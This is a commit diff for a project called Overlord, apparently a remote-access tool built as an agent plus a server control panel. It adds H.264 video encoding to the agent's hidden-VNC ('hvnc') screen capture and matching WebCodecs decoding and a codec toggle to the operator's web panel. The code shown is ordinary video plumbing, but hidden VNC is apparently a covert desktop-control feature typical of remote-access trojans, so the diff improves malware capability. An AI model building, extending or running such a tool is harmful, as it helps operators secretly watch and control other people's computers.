add h264 to hvnc

Overlord-Client/cmd/agent/capture/capture.go

@@ -560,6 +560,23 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 	codec := blockCodec()
 
 	now := time.Now()
+	if codec == "h264" {
+		h264Bytes, err := encodeH264Frame(img)
+		if err == nil && len(h264Bytes) > 0 {
+			prevMu.Lock()
+			copyPrev(img)
+			prevMu.Unlock()
+			lastKeyframe.Store(now.UnixNano())
+			statFullFrames.Add(1)
+			frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
+			return frame, time.Since(encStart), nil
+		}
+		h264WarnOnce.Do(func() {
+			log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err)
+		})
+		codec = "jpeg"
+	}
+
 	prevMu.Lock()
 	pf := prevFrame
 	prevMu.Unlock()

Overlord-Server/public/assets/hvnc.js

@@ -27,6 +27,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   const cursorCtrl = document.getElementById("cursorCtrl");
   const qualitySlider = document.getElementById("qualitySlider");
   const qualityValue = document.getElementById("qualityValue");
+  const codecH264 = document.getElementById("codecH264");
+  const codecMode = document.getElementById("codecMode");
   const canvas = document.getElementById("frameCanvas");
   const canvasContainer = document.getElementById("canvasContainer");
   const contextMenu = document.getElementById("hvncContextMenu");
@@ -46,9 +48,32 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   let offlineTimer = null;
   let pendingMove = null;
   let moveTimer = null;
+  let videoDecoder = null;
+  let h264TimestampUs = 0;
+  const codecPrefKey = "hvncCodecPreferH264";
+  let prefersH264 = typeof VideoDecoder === "function";
   let lastMoveSentAt = 0;
   const mouseMoveIntervalMs = 33;
   const inputBackpressureBytes = 256 * 1024;
+
+  const storedCodecPref = localStorage.getItem(codecPrefKey);
+  if (storedCodecPref === "0") {
+    prefersH264 = false;
+  } else if (storedCodecPref === "1") {
+    prefersH264 = typeof VideoDecoder === "function";
+  }
+  if (codecH264) {
+    codecH264.checked = prefersH264;
+    codecH264.disabled = typeof VideoDecoder !== "function";
+  }
+
+  function setCodecModeLabel(mode, detail) {
+    if (!codecMode) return;
+    const suffix = detail ? ` (${detail})` : "";
+    codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`;
+  }
+
+  setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred");
   setStreamState("connecting", "Connecting");
 
   function updateFpsDisplay(agentValue) {
@@ -237,11 +262,106 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 
   function pushQuality(val) {
     const q = Number(val) || 90;
-    const codec = q >= 100 ? "raw" : "jpeg";
+    const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
     console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec);
+    setCodecModeLabel(codec, "requested");
     sendCmd("hvnc_set_quality", { quality: q, codec });
   }
 
+  if (codecH264) {
+    codecH264.addEventListener("change", function () {
+      prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
+      localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
+      if (!prefersH264) {
+        destroyVideoDecoder();
+      }
+      if (qualitySlider) {
+        pushQuality(qualitySlider.value);
+      }
+    });
+  }
+
+  function destroyVideoDecoder() {
+    if (!videoDecoder) return;
+    try {
+      videoDecoder.close();
+    } catch {
+      // Ignore decoder close errors.
+    }
+    videoDecoder = null;
+    h264TimestampUs = 0;
+  }
+
+  function fallbackToJpegCodec(reason) {
+    if (!prefersH264) return;
+    prefersH264 = false;
+    destroyVideoDecoder();
+    if (codecH264) codecH264.checked = false;
+    localStorage.setItem(codecPrefKey, "0");
+    console.warn("hvnc: falling back to jpeg codec", reason || "");
+    const q = Number(qualitySlider?.value) || 90;
+    setCodecModeLabel("jpeg", "fallback");
+    if (ws.readyState === WebSocket.OPEN) {
+      sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
+    }
+  }
+
+  function isH264KeyFrame(data) {
+    for (let i = 0; i + 4 < data.length; i++) {
+      let startCodeLen = 0;
+      if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
+        startCodeLen = 3;
+      } else if (
+        i + 4 < data.length &&
+        data[i] === 0x00 &&
+        data[i + 1] === 0x00 &&
+        data[i + 2] === 0x00 &&
+        data[i + 3] === 0x01
+      ) {
+        startCodeLen = 4;
+      }
+      if (!startCodeLen) continue;
+      const nalIndex = i + startCodeLen;
+      if (nalIndex >= data.length) break;
+      if ((data[nalIndex] & 0x1f) === 5) {
+        return true;
+      }
+      i = nalIndex;
+    }
+    return false;
+  }
+
+  function ensureVideoDecoder() {
+    if (videoDecoder) return true;
+    if (typeof VideoDecoder !== "function") return false;
+    try {
+      videoDecoder = new VideoDecoder({
+        output: (frame) => {
+          const width = frame.displayWidth || frame.codedWidth || canvas.width;
+          const height = frame.displayHeight || frame.codedHeight || canvas.height;
+          if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
+            canvas.width = width;
+            canvas.height = height;
+          }
+          try {
+            ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
+          } finally {
+            frame.close();
+          }
+        },
+        error: (err) => {
+          console.warn("hvnc: h264 decoder error", err);
+        },
+      });
+      videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
+      return true;
+    } catch (err) {
+      console.warn("hvnc: h264 decoder unavailable", err);
+      fallbackToJpegCodec(err);
+      return false;
+    }
+  }
+
   displaySelect.addEventListener("change", function () {
     console.debug("hvnc: select display", displaySelect.value);
     sendCmd("hvnc_select_display", {
@@ -310,6 +430,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 
         if (format === 1) {
           const jpegBytes = buf.slice(8);
+          setCodecModeLabel("jpeg", "active");
           const blob = new Blob([jpegBytes], { type: "image/jpeg" });
           try {
             const bitmap = await createImageBitmap(blob);
@@ -334,6 +455,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
         }
 
         if (format === 2 || format === 3) {
+          setCodecModeLabel(format === 3 ? "raw" : "jpeg", "blocks");
           if (buf.length < 8 + 8) return;
           const dv = new DataView(buf.buffer, 8);
           let pos = 0;
@@ -388,6 +510,31 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
           updateFpsDisplay(fps);
           return;
         }
+
+        if (format === 4) {
+          setCodecModeLabel("h264", "active");
+          const h264Bytes = buf.slice(8);
+          if (!h264Bytes.length) return;
+          if (!ensureVideoDecoder()) {
+            fallbackToJpegCodec("WebCodecs decoder unavailable");
+            return;
+          }
+          const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25));
+          const chunk = new EncodedVideoChunk({
+            type: isH264KeyFrame(h264Bytes) ? "key" : "delta",
+            timestamp: h264TimestampUs,
+            data: h264Bytes,
+          });
+          h264TimestampUs += frameIntervalUs;
+          try {
+            videoDecoder.decode(chunk);
+            updateFpsDisplay(fps);
+          } catch (err) {
+            console.warn("hvnc: h264 decode failed", err);
+            fallbackToJpegCodec(err);
+          }
+          return;
+        }
       }
 
       const msg = decodeMsgpack(buf);
@@ -423,10 +570,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 
   ws.addEventListener("close", function () {
     desiredStreaming = false;
+    destroyVideoDecoder();
     setStreamState("disconnected", "Disconnected");
   });
 
   ws.addEventListener("error", function () {
+    destroyVideoDecoder();
     setStreamState("error", "WebSocket error");
   });
 
@@ -551,6 +700,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
       desiredStreaming = false;
       sendCmd("hvnc_stop", {});
     }
+    destroyVideoDecoder();
   }
 
   window.addEventListener("beforeunload", stopOnExit);

Overlord-Server/public/hvnc.html

@@ -59,6 +59,14 @@
               >95%</span
             >
           </div>
+          <div
+            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
+          >
+            <label class="flex items-center gap-2 text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
+              <input type="checkbox" id="codecH264" checked /> H.264
+            </label>
+            <span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
+          </div>
           <div class="flex items-center gap-2">
             <button id="startBtn" class="button primary">
               <i class="fa-solid fa-play"></i><span>Start</span>

Overlord-Server/public/index.html

@@ -38,7 +38,7 @@
         <div class="flex items-center justify-between gap-3 flex-wrap">
           <div>
             <h1 class="text-2xl font-semibold">Clients</h1>
-            <p class="text-slate-400">Live clients via Bun WebSockets</p>
+            <p class="text-slate-400">KDOT wants YOU to have a good day!</p>
           </div>
           <span
             class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-blue-900/40 text-blue-100 border border-blue-700/60"